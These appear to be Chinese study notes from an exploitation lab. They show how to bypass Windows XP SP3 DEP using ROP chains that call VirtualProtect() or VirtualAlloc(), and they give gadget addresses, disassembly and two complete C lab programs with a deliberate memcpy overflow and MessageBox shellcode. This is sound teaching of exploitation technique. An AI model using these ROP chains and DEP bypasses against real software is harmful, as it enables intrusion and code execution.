一,通过 VirutalProtect() 修改内存属性绕过 DEP
DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中取指令,则会发生错误。为了解决这个问题,MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数,可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行,进而绕过 DEP。
BOOL VirtualProtect{ LPVOID lpAddress, // 需要修改属性的内存的起始地址 DWORD dwSize, // 大小 DWORD flNewProtect, // 新属性,其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40 PDWORD lpflOldProtect // 原始属性的保存地址 };
接下来演示如何动态定位 shellcode,然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null,为便于演示起见,漏洞函数设为 memcpy(),同时关闭 SafeSEH 和 GS 保护。
VirtualProtect() 函数的反汇编代码如下:
1 7C801AD4 > 8BFF MOV EDI,EDI ; ret2libc.004034F8 2 7C801AD6 55 PUSH EBP 3 7C801AD7 8BEC MOV EBP,ESP 4 7C801AD9 FF75 14 PUSH DWORD PTR SS:[EBP+14] ; 设置参数 lpflOldProtect 5 7C801ADC FF75 10 PUSH DWORD PTR SS:[EBP+10] ; 设置参数 flNewProtect : 0x40 6 7C801ADF FF75 0C PUSH DWORD PTR SS:[EBP+C] ; 设置参数 dwSize 7 7C801AE2 FF75 08 PUSH DWORD PTR SS:[EBP+8] ; 设置参数 lpAddress 8 7C801AE5 6A FF PUSH -1 9 7C801AE7 E8 75FFFFFF CALL kernel32.VirtualProtectEx ; 转入 VirtualProtectEx() 10 7C801AEC 5D POP EBP 11 7C801AED C2 1000 RETN 10
由以上反汇编代码可知,只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数,再转入 0x7C801AD9 就可以关闭 DEP 了。
接下来布置 shellcode。首先修复被破坏的 ebp(为何修复参见前一篇笔记):push esp, pop ebp, retn 4。
关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置,并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后,esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp,那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn,既可以使 esp 指向 ebp+0xC,又能掌握程序的控制权。
shellcode 如下:
1 "x90x90x90x90x90x90x90x90x90x90x90x90" 2 ...... 3 "xE5xE0x72x7D" // return address, adjust ebp : push esp, pop ebp, retn 4 4 "x40x26xD8x7D" // retn 5 "x90x90x90x90" 6 "x4AxD4xB8x7D" // push esp call edi
这里采用上一篇笔记中说到的方法,在第 3 行之前将 edi 指向目标 code,然后布置栈帧,在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后,ebp+8 处的指针就指向可操作的地址了(此时 ebp+8 == esp == [esp+4]),接下来要布置 ebp+0x14,使其指向可写的内存。首先让 esp 指向 ebp+0x14 附近,然后再考虑在 ebp+0x14 写入一个可写的地址。这里用上一篇结尾处提到的技巧:
1 "x21xAfxCBx7D" // return address : pop edi retn 2 "x40x12x5Ax78" // pop ecx,pop ebx,pop eax,retn 3 "xE5xE0x72x7D" // adjust ebp : push esp, pop ebp, retn 4 4 "x40x26xD8x7D" // retn 5 "x90x90x90x90" 6 "x0AxDCxBAx7D" // push esp jmp edi(0x785A1240:pop ecx,pop ebx,pop eax,retn)
如此一来,esp 就指向了 ebp+0x18 的位置,这时只要 push esp,ebp+0x14 就指向 ebp+0x18 了,ebp+0x18 是可写的!push esp 之后,VirtualProtect() 的参数就布置好了,可以修改内存可执行属性了!再次利用已经用过的 jmp eax,使 eip 指向 shellcode 就可以了(将前文的 pop edi 和 jmp edi 中的 edi 用 eax 指令替代了,原因是 rop tramp 需要位于可执行区域,而可执行代码区 eax 的指令较 edi 多,方便寻找):
1 // ret2libc.cpp : Defines the entry point for the console application. 2 // 3 // env 4 // * windows xp sp3 with /noexecute=optout 5 // * vs2008 with Optimization/GS/SafeSEH disabled 6 // Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line 7 8 #include "stdafx.h" 9 #include <stdlib.h> 10 #include <string.h> 11 #include <stdio.h> 12 #include <windows.h> 13 14 char shellcode[]= 15 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 16 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 17 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 18 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 19 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 20 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 21 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 22 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 23 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 24 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 25 "x90x90x90x90x90x90x90x90x90x90x90x90" 26 "x94xB0x6Cx7D" // pop eax retn 27 "x69x36x5Cx7D" // pop edi,pop ebx,pop esi,retn 28 "xE5xE0x72x7D" // adjust ebp : push esp, pop ebp, retn 4 29 "x6Cx36x5Cx7D" // retn 30 "x90x90x90x90" 31 "xC6xC6xEBx77" // push esp jmp eax 32 "xFFx00x00x00" // size of memory-to-chmod 33 "x40x00x00x00" // attributes of memory-to-chmod 34 "xC6xC6xEBx77" // push esp jmp eax 35 "x90x90x90x90" 36 "x90x90x90x90" 37 "xD9x1Ax80x7C" // chmod memory : VirtualProtect() ends with pop ebp, retn 10 38 "x90x90x90x90" 39 "xEBx30x5Ax7D" // jmp esp 40 "x90x90x90x90" 41 "x90x90x90x90" 42 "x90x90x90x90" 43 "x90x90x90x90" 44 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 45 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 46 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 47 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" 48 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" 49 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" 50 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" 51 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" 52 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" 53 "x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53" 54 "xFFx57xF8" // 163 bytes pop window shellcode (MessageBoxA) 55 ; 56 void test() 57 { 58 char str[168]; 59 memcpy(str,shellcode,425); 60 } 61 int main() 62 { 63 char tmp[1024]; // 保证栈帧足够长 64 HINSTANCE hInst = LoadLibrary(_T("shell32.dll")); // for more tramp opcode 65 //VirtualProtect(0,0,0,0); 66 test(); 67 return 0; 68 }
Hint :
一,在 /NoExec=OptOut 的情况下,需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中
二,突破 DEP 之前的踏板指令,需要在可执行区域,这一点害我走了弯路。可以用 OllyFindAddr 插件,如果使用后的 Log 太长不方便看,可以先 Log to File
三,这里用到的就是传说中的 ROP(Return-Oriented-Programming),利用思路值得掌握!
四,相关函数需要查看 MSDN
二,通过 VirutalAlloc() 分配新内存绕过 DEP
VirtualAlloc() 原型如下(参考 MSDN 很有帮助!):
1 LPVOID WINAPI VirtualAlloc( 2 __in_opt LPVOID lpAddress, // 申请内存的地址,若为 NULL,则系统会决定位置,并按 64kb 向上取整 3 __in SIZE_T dwSize, // 大小 4 __in DWORD flAllocationType, // 类型(推荐 0x1000) 5 __in DWORD flProtect // 保护类型,0x40 为可读写、可执行 6 );
VirtualAlloc() 和 VirtualProtect() 的实现如出一辙:布置好参数后调用 VirtualAllocEx() 实现功能。其反汇编代码如下:
1 7C809AE3 55 PUSH EBP 2 7C809AE4 8BEC MOV EBP,ESP 3 7C809AE6 FF75 14 PUSH DWORD PTR SS:[EBP+14] // flProtect 4 7C809AE9 FF75 10 PUSH DWORD PTR SS:[EBP+10] // flAllocationType 5 7C809AEC FF75 0C PUSH DWORD PTR SS:[EBP+C] // dwSize 6 7C809AEF FF75 08 PUSH DWORD PTR SS:[EBP+8] // lpAddress 7 7C809AF2 6A FF PUSH -1 // 当前进程 8 7C809AF4 E8 09000000 CALL kernel32.VirtualAllocEx // VirtualAllocEx() 会平衡第 3-7 行压入的参数,同理第 10 行平衡转入第 1 行前的参数 9 7C809AF9 5D POP EBP 10 7C809AFA C2 1000 RETN 10
实验思路为:
* 构造可溢出的函数
* 溢出后利用 ROP 转入 VirtualAllocEx() 得到可读写、执行的内存
* 将 shellcode 复制到得到的内存中
* 转入 shellcode 执行
自己写出的实验代码如下:
1 // ret2libc.cpp : Defines the entry point for the console application. 2 // 3 // env 4 // * windows xp sp3 with /noexecute=optout 5 // * vs2008 with Optimization/GS/SafeSEH disabled 6 // Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line 7 8 #include "stdafx.h" 9 #include <stdlib.h> 10 #include <string.h> 11 #include <stdio.h> 12 #include <windows.h> 13 14 char shellcode[]= 15 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 16 "x90x90x90x90" 17 "xE5xE0x72x7D" // adjust ebp : push esp, pop ebp, retn 4 18 "xF4x9Ax80x7C" // VirtualAllocEx() 19 "x90x90x90x90" 20 "xFFxFFxFFxFF" // arg: current process 21 "x00x40x03x00" // arg: 22 "xFFx01x00x00" // arg: size 23 "x00x10x00x00" // arg: type 24 "x40x00x00x00" // arg: attrib 25 "x90x90x90x90" // VirtualAlloc() returns with pop ebp, retn 0x10 26 "xE5xE0x72x7D" // adjust ebp : push esp, pop ebp, retn 4 27 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 28 "x2Bx72x5Fx7D" // pop ecx, retn 29 "x90x90x90x90" // slide 30 "xFFx00x00x00" // pop arg to ecx 31 "x68xEAx76x7D" // pop edi retn 32 "x00x40x03x00" // pop arg to edi 33 // push esp, pop esi, retn 这里为了方便从 shellcode 之前的内存就开始复制,即 esp 指向的地址开始复制 34 "x94xB0x6Cx7D" // pop eax retn 35 "xEFx6Ax71x7D" // rop: pop esi retn 36 "xC6xC6xEBx77" // push esp jmp eax 37 "x89x17xD3x77" // REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 38 // POP EDI 39 // POP ESI 40 // POP EBP 41 // RETN 4 42 "x90x90x90x90" // slide: pop edi 43 "x90x90x90x90" // slide: pop esi 44 "x90x90x90x90" // slide: pop ebp 45 "x94xB0x6Cx7D" // pop eax retn 46 "x90x90x90x90" // slide 47 "x20x40x03x00" // pop shellcode to eax 48 "xC7xC6xEBx77" // jmp eax (shellcode) 49 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 50 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 51 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 52 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" 53 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" 54 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" 55 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" 56 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" 57 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" 58 "x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53" 59 "xFFx57xF8" // 163 bytes pop window shellcode (MessageBoxA) 60 ; 61 void test() 62 { 63 char str[16]; 64 memcpy(str,shellcode,400); 65 } 66 int main() 67 { 68 char tmp[1024]; // 保证栈帧足够长 69 HINSTANCE hInst = LoadLibrary(_T("shell32.dll")); 70 //VirtualProtect(0,0,0,0); 71 //VirtualAlloc((LPVOID)0x00300000,255,0x00001000,0x00000040); 72 test(); 73 return 0; 74 }
这次实验是自己写出来的,几点与原书中的示例不同:
* 原书直接转入 memcpy() 函数内部完成复制 shellcode 的功能
* 原书复制完 shellcode 后直接转入目标内存起点执行,因为复制的起始位置在 shellcode 关键代码之前(esp),所以目标内存起点存在脏代码
* 原书利用 memcpy() 函数中的 pop 操作,巧妙地布置填充数据,消除目标内存起点的脏代码影响
我自己的思路是布置好 ecx、edi、esi 后直接找到 rep movs 的指令并当作跳板完成 shellcode 的复制,但代码长度还可优化:如 VirtualAlloc() 后 eax 指向了目标内存地址,可以先 mov edi,eax retn。
另外,熟悉 API 很重要,MSDN 很有价值!